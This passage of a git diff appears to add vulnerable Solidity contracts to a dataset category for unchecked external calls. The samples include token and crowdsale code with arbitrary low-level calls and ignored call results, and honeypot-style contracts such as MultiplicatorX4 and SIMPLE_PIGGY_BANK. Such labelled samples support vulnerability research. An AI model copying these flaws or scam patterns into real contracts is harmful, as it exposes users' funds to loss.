addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { + if (!whitelist[addr]) { + whitelist[addr] = true; + WhitelistedAddressAdded(addr); + success = true; + } + } + + + function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { + for (uint256 i = 0; i < addrs.length; i++) { + if (addAddressToWhitelist(addrs[i])) { + success = true; + } + } + } + + + function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { + if (whitelist[addr]) { + whitelist[addr] = false; + WhitelistedAddressRemoved(addr); + success = true; + } + } + + + function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { + for (uint256 i = 0; i < addrs.length; i++) { + if (removeAddressFromWhitelist(addrs[i])) { + success = true; + } + } + } + +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +contract FractionalERC20 is ERC20 { + + uint public decimals; + +} + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + +} + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + +contract CrowdsaleBase is Haltable, Whitelist { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLib for uint; + + + FractionalERC20 public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public presaleWeiRaised = 0; + + + uint public investorCount = 0; + + + uint public loadedRefund = 0; + + + uint public weiRefunded = 0; + + + bool public finalized; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + + mapping (address => bool) public earlyParticipantWhitelist; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Refund(address investor, uint weiAmount); + + + event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress); + + + event Whitelisted(address addr, bool status); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleBase(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) { + + owner = msg.sender; + + token = FractionalERC20(_token); + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + } + + + + + function investInternal(address receiver, uint128 customerId) stopInEmergency internal returns(uint tokensBought) { + + + + + + + Whitelist dc; + address contract_addr = 0x062e41d1037745dc203e8c1AAcA651B8d157Da96; + dc = Whitelist(contract_addr); + require (dc.whitelist(msg.sender)); + require (dc.whitelist(receiver)); + + + + if(getState() == State.PreFunding) { + + if(!earlyParticipantWhitelist[receiver]) { + throw; + } + } else if(getState() == State.Funding) { + + + } else { + + throw; + } + + uint weiAmount = msg.value; + require(weiAmount >= minimumFundingGoal); + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals()); + + + require(tokenAmount != 0); + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + if(pricingStrategy.isPresalePurchase(receiver)) { + presaleWeiRaised = presaleWeiRaised.plus(weiAmount); + } + + + require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)); + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + + return tokenAmount; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != 0) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) onlyOwner { + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEndsAt(uint time) onlyOwner { + + if(now > time) { + throw; + } + + if(startsAt > time) { + throw; + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner { + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function loadRefund() public payable inState(State.Failure) { + if(msg.value == 0) throw; + loadedRefund = loadedRefund.plus(msg.value); + } + + + function refund() public inState(State.Refunding) { + uint256 weiValue = investedAmountOf[msg.sender]; + if (weiValue == 0) throw; + investedAmountOf[msg.sender] = 0; + weiRefunded = weiRefunded.plus(weiValue); + Refund(msg.sender, weiValue); + if (!msg.sender.send(weiValue)) throw; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding; + else return State.Failure; + } + + + function setOwnerTestValue(uint val) onlyOwner { + ownerTestValue = val; + } + + + function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner { + earlyParticipantWhitelist[addr] = status; + Whitelisted(addr, status); + } + + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) internal; +} + +contract Crowdsale is CrowdsaleBase { + + + bool public requireCustomerId; + + + bool public requiredSignedAddress; + + + address public signerAddress; + + function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) CrowdsaleBase(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) { + } + + + function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner { + + uint tokenAmount = fullTokens * 10**token.decimals(); + uint weiAmount = weiPrice * fullTokens; + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + assignTokens(receiver, tokenAmount); + + + Invested(receiver, weiAmount, tokenAmount, 0); + } + + + function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { + bytes32 hash = sha256(addr); + if (ecrecover(hash, v, r, s) != signerAddress) throw; + if(customerId == 0) throw; + investInternal(addr, customerId); + } + + + function investWithCustomerId(address addr, uint128 customerId) public payable { + if(requiredSignedAddress) throw; + if(customerId == 0) throw; + investInternal(addr, customerId); + } + + + function invest(address addr) public payable { + if(requireCustomerId) throw; + if(requiredSignedAddress) throw; + investInternal(addr, 0); + } + + + function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { + investWithSignedAddress(msg.sender, customerId, v, r, s); + } + + + function buyWithCustomerIdWithChecksum(uint128 customerId, bytes1 checksum) public payable { + + if (bytes1(sha3(customerId)) != checksum) throw; + investWithCustomerId(msg.sender, customerId); + } + + + function buyWithCustomerId(uint128 customerId) public payable { + investWithCustomerId(msg.sender, customerId); + } + + + function buy() public payable { + invest(msg.sender); + } + + + function setRequireCustomerId(bool value) onlyOwner { + requireCustomerId = value; + InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); + } + + + function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner { + requiredSignedAddress = value; + signerAddress = _signerAddress; + InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); + } + + + + + function () public payable { + invest(msg.sender); + } + +} + +contract MintedTokenCappedCrowdsale is Crowdsale { + + + uint public maximumSellableTokens; + + function MintedTokenCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) { + maximumSellableTokens = _maximumSellableTokens; + } + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) { + return tokensSoldTotal > maximumSellableTokens; + } + + function isCrowdsaleFull() public constant returns (bool) { + return tokensSold >= maximumSellableTokens; + } + + + function assignTokens(address receiver, uint tokenAmount) internal { + MintableToken mintableToken = MintableToken(token); + mintableToken.mint(receiver, tokenAmount); + } +} + +contract ERC827 is ERC20 { + + function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); + function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); + function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); + +} + +contract ERC827Token is ERC827, StandardToken { + + + function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { + require(_spender != address(this)); + + super.approve(_spender, _value); + + require(_spender.call(_data)); + + return true; + } + + + function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { + require(_to != address(this)); + + super.transfer(_to, _value); + + require(_to.call(_data)); + return true; + } + + + function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { + require(_to != address(this)); + + super.transferFrom(_from, _to, _value); + + require(_to.call(_data)); + return true; + } + + + function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { + require(_spender != address(this)); + + super.increaseApproval(_spender, _addedValue); + + require(_spender.call(_data)); + + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { + require(_spender != address(this)); + + super.decreaseApproval(_spender, _subtractedValue); + + require(_spender.call(_data)); + + return true; + } + +} + +contract StandardTokenExt is StandardToken, ERC827Token, Recoverable { + + + function isToken() public constant returns (bool weAre) { + return true; + } +} + +contract MintableToken is StandardTokenExt { + + using SafeMathLib for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state); + event Minted(address receiver, uint amount); + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply_ = totalSupply_.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/20189.sol b/smart_contract_dataset/unchecked external call/20189.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/20189.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/22074.sol b/smart_contract_dataset/unchecked external call/22074.sol new file mode 100644 index 0000000000000000000000000000000000000000..becf5e3929733c45f0f90beada96c3b6ea7852e2 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/22074.sol @@ -0,0 +1,38 @@ +pragma solidity ^0.4.19; + +contract SIMPLE_PIGGY_BANK +{ + address creator = msg.sender; + + mapping (address => uint) public Bal; + + uint public MinSum = 1 ether; + + function() + public + payable + { + Bal[msg.sender]+=msg.value; + } + + function Collect(uint _am) + public + payable + { + if(Bal[msg.sender]>=MinSum && _am<=Bal[msg.sender]) + { + msg.sender.call.value(_am); + Bal[msg.sender]-=_am; + } + } + + function Break() + public + payable + { + if(msg.sender==creator && this.balance>= MinSum) + { + selfdestruct(msg.sender); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/22675.sol b/smart_contract_dataset/unchecked external call/22675.sol new file mode 100644 index 0000000000000000000000000000000000000000..c53ad0dd8bf5e73afbc1085bbcfb3110d7ac2f90 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/22675.sol @@ -0,0 +1,429 @@ +/*! iam.sol | (c) 2018 Develop by BelovITLab LLC (smartcontract.ru), author @stupidlovejoy | License: MIT */ + +pragma solidity 0.4.18; + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns(uint256) { + if(a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns(uint256) { + uint256 c = a / b; + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns(uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns(uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + +contract Ownable { + address public owner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + modifier onlyOwner() { require(msg.sender == owner); _; } + + function Ownable() public { + owner = msg.sender; + } + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + owner = newOwner; + OwnershipTransferred(owner, newOwner); + } +} + +contract Pausable is Ownable { + bool public paused = false; + + event Pause(); + event Unpause(); + + modifier whenNotPaused() { require(!paused); _; } + modifier whenPaused() { require(paused); _; } + + function pause() onlyOwner whenNotPaused public { + paused = true; + Pause(); + } + + function unpause() onlyOwner whenPaused public { + paused = false; + Unpause(); + } +} + +contract Withdrawable is Ownable { + function withdrawEther(address _to, uint _value) onlyOwner public returns(bool) { + require(_to != address(0)); + require(this.balance >= _value); + + _to.transfer(_value); + + return true; + } + + function withdrawTokens(ERC20 _token, address _to, uint _value) onlyOwner public returns(bool) { + require(_to != address(0)); + + return _token.transfer(_to, _value); + } +} + +contract ERC20 { + uint256 public totalSupply; + + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); + + function balanceOf(address who) public view returns(uint256); + function transfer(address to, uint256 value) public returns(bool); + function transferFrom(address from, address to, uint256 value) public returns(bool); + function allowance(address owner, address spender) public view returns(uint256); + function approve(address spender, uint256 value) public returns(bool); +} + +contract ERC223 is ERC20 { + function transfer(address to, uint256 value, bytes data) public returns(bool); +} + +contract ERC223Receiving { + function tokenFallback(address from, uint256 value, bytes data) external; +} + +contract StandardToken is ERC223 { + using SafeMath for uint256; + + string public name; + string public symbol; + uint8 public decimals; + + mapping(address => uint256) balances; + mapping (address => mapping (address => uint256)) internal allowed; + + function StandardToken(string _name, string _symbol, uint8 _decimals) public { + name = _name; + symbol = _symbol; + decimals = _decimals; + } + + function balanceOf(address _owner) public view returns(uint256 balance) { + return balances[_owner]; + } + + function _transfer(address _to, uint256 _value, bytes _data) private returns(bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + + bool is_contract = false; + assembly { + is_contract := not(iszero(extcodesize(_to))) + } + + if(is_contract) { + ERC223Receiving receiver = ERC223Receiving(_to); + receiver.tokenFallback(msg.sender, _value, _data); + } + + Transfer(msg.sender, _to, _value); + + return true; + } + + function transfer(address _to, uint256 _value) public returns(bool) { + bytes memory empty; + return _transfer(_to, _value, empty); + } + + function transfer(address _to, uint256 _value, bytes _data) public returns(bool) { + return _transfer(_to, _value, _data); + } + + function multiTransfer(address[] _to, uint256[] _value) public returns(bool) { + require(_to.length == _value.length); + + for(uint i = 0; i < _to.length; i++) { + transfer(_to[i], _value[i]); + } + + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + + Transfer(_from, _to, _value); + + return true; + } + + function allowance(address _owner, address _spender) public view returns(uint256) { + return allowed[_owner][_spender]; + } + + function approve(address _spender, uint256 _value) public returns(bool) { + allowed[msg.sender][_spender] = _value; + + Approval(msg.sender, _spender, _value); + + return true; + } + + function increaseApproval(address _spender, uint _addedValue) public returns(bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + + return true; + } + + function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) { + uint oldValue = allowed[msg.sender][_spender]; + + if(_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + + return true; + } +} + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + modifier canMint() { require(!mintingFinished); _; } + + function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) { + totalSupply = totalSupply.add(_amount); + balances[_to] = balances[_to].add(_amount); + + Mint(_to, _amount); + Transfer(address(0), _to, _amount); + + return true; + } + + function finishMinting() onlyOwner canMint public returns(bool) { + mintingFinished = true; + + MintFinished(); + + return true; + } +} + +contract CappedToken is MintableToken { + uint256 public cap; + + function CappedToken(uint256 _cap) public { + require(_cap > 0); + cap = _cap; + } + + function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) { + require(totalSupply.add(_amount) <= cap); + + return super.mint(_to, _amount); + } +} + +contract BurnableToken is StandardToken { + event Burn(address indexed burner, uint256 value); + + function burn(uint256 _value) public { + require(_value <= balances[msg.sender]); + + address burner = msg.sender; + + balances[burner] = balances[burner].sub(_value); + totalSupply = totalSupply.sub(_value); + + Burn(burner, _value); + } +} + +/* + ICO IAM +*/ +contract Token is CappedToken, BurnableToken, Withdrawable { + function Token() CappedToken(70000000 * 1 ether) StandardToken("IAM Aero", "IAM", 18) public { + + } + + function tokenFallback(address _from, uint256 _value, bytes _data) external { + require(false); + } +} + +contract Crowdsale is Pausable, Withdrawable, ERC223Receiving { + using SafeMath for uint; + + struct Step { + uint priceTokenWei; + uint tokensForSale; + uint minInvestEth; + uint tokensSold; + uint collectedWei; + + bool transferBalance; + bool sale; + } + + Token public token; + address public beneficiary = 0x4ae7bdf9530cdB666FC14DF79C169e14504c621A; + + Step[] public steps; + uint8 public currentStep = 0; + + bool public crowdsaleClosed = false; + + mapping(address => uint256) public canSell; + + event Purchase(address indexed holder, uint256 tokenAmount, uint256 etherAmount); + event Sell(address indexed holder, uint256 tokenAmount, uint256 etherAmount); + event NewRate(uint256 rate); + event NextStep(uint8 step); + event CrowdsaleClose(); + + function Crowdsale() public { + token = new Token(); + + steps.push(Step(1 ether / 1000, 1000000 * 1 ether, 0.01 ether, 0, 0, true, false)); + steps.push(Step(1 ether / 1000, 1500000 * 1 ether, 0.01 ether, 0, 0, true, false)); + steps.push(Step(1 ether / 1000, 3000000 * 1 ether, 0.01 ether, 0, 0, true, false)); + steps.push(Step(1 ether / 1000, 9000000 * 1 ether, 0.01 ether, 0, 0, true, false)); + steps.push(Step(1 ether / 1000, 35000000 * 1 ether, 0.01 ether, 0, 0, true, false)); + steps.push(Step(1 ether / 1000, 20500000 * 1 ether, 0.01 ether, 0, 0, true, true)); + } + + function() payable public { + purchase(); + } + + function tokenFallback(address _from, uint256 _value, bytes _data) external { + sell(_value); + } + + function setTokenRate(uint _value) onlyOwner public { + require(!crowdsaleClosed); + + steps[currentStep].priceTokenWei = 1 ether / _value; + + NewRate(steps[currentStep].priceTokenWei); + } + + function purchase() whenNotPaused payable public { + require(!crowdsaleClosed); + + Step memory step = steps[currentStep]; + + require(msg.value >= step.minInvestEth); + require(step.tokensSold < step.tokensForSale); + + uint sum = msg.value; + uint amount = sum.mul(1 ether).div(step.priceTokenWei); + uint retSum = 0; + + if(step.tokensSold.add(amount) > step.tokensForSale) { + uint retAmount = step.tokensSold.add(amount).sub(step.tokensForSale); + retSum = retAmount.mul(step.priceTokenWei).div(1 ether); + + amount = amount.sub(retAmount); + sum = sum.sub(retSum); + } + + steps[currentStep].tokensSold = step.tokensSold.add(amount); + steps[currentStep].collectedWei = step.collectedWei.add(sum); + + if(currentStep == 0) { + canSell[msg.sender] = canSell[msg.sender].add(amount); + } + + if(step.transferBalance) { + uint p1 = sum.div(200); + (0xD8C7f2215f90463c158E91b92D81f0A1E3187C1B).transfer(p1.mul(3)); + (0x8C8d80effb2c5C1E4D857e286822E0E641cA3836).transfer(p1.mul(3)); + beneficiary.transfer(sum.sub(p1.mul(6))); + } + token.mint(msg.sender, amount); + + if(retSum > 0) { + msg.sender.transfer(retSum); + } + + Purchase(msg.sender, amount, sum); + } + + function sell(uint256 _value) whenNotPaused public { + require(!crowdsaleClosed); + + require(canSell[msg.sender] >= _value); + require(token.balanceOf(msg.sender) >= _value); + + Step memory step = steps[currentStep]; + + require(step.sale); + + canSell[msg.sender] = canSell[msg.sender].sub(_value); + token.call('transfer', beneficiary, _value); + + uint sum = _value.mul(step.priceTokenWei).div(1 ether); + + msg.sender.transfer(sum); + + Sell(msg.sender, _value, sum); + } + + function nextStep(uint _value) onlyOwner public { + require(!crowdsaleClosed); + require(steps.length - 1 > currentStep); + + currentStep += 1; + + setTokenRate(_value); + + NextStep(currentStep); + } + + function closeCrowdsale() onlyOwner public { + require(!crowdsaleClosed); + + beneficiary.transfer(this.balance); + token.mint(beneficiary, token.cap().sub(token.totalSupply())); + token.transferOwnership(beneficiary); + + crowdsaleClosed = true; + + CrowdsaleClose(); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/31497.sol b/smart_contract_dataset/unchecked external call/31497.sol new file mode 100644 index 0000000000000000000000000000000000000000..bc746360f14193b55eeaf1ce6a7152bd9518304c --- /dev/null +++ b/smart_contract_dataset/unchecked external call/31497.sol @@ -0,0 +1,34 @@ +pragma solidity ^0.4.18; + +contract MultiplicatorX4 +{ + address public Owner = msg.sender; + + function() public payable{} + + function withdraw() + payable + public + { + require(msg.sender == Owner); + Owner.transfer(this.balance); + } + + function Command(address adr,bytes data) + payable + public + { + require(msg.sender == Owner); + adr.call.value(msg.value)(data); + } + + function multiplicate(address adr) + public + payable + { + if(msg.value>=this.balance) + { + adr.transfer(this.balance+msg.value); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/33447.sol b/smart_contract_dataset/unchecked external call/33447.sol new file mode 100644 index 0000000000000000000000000000000000000000..c08f55ebc23952f89e0ab25790585636cf35c05e --- /dev/null +++ b/smart_contract_dataset/unchecked 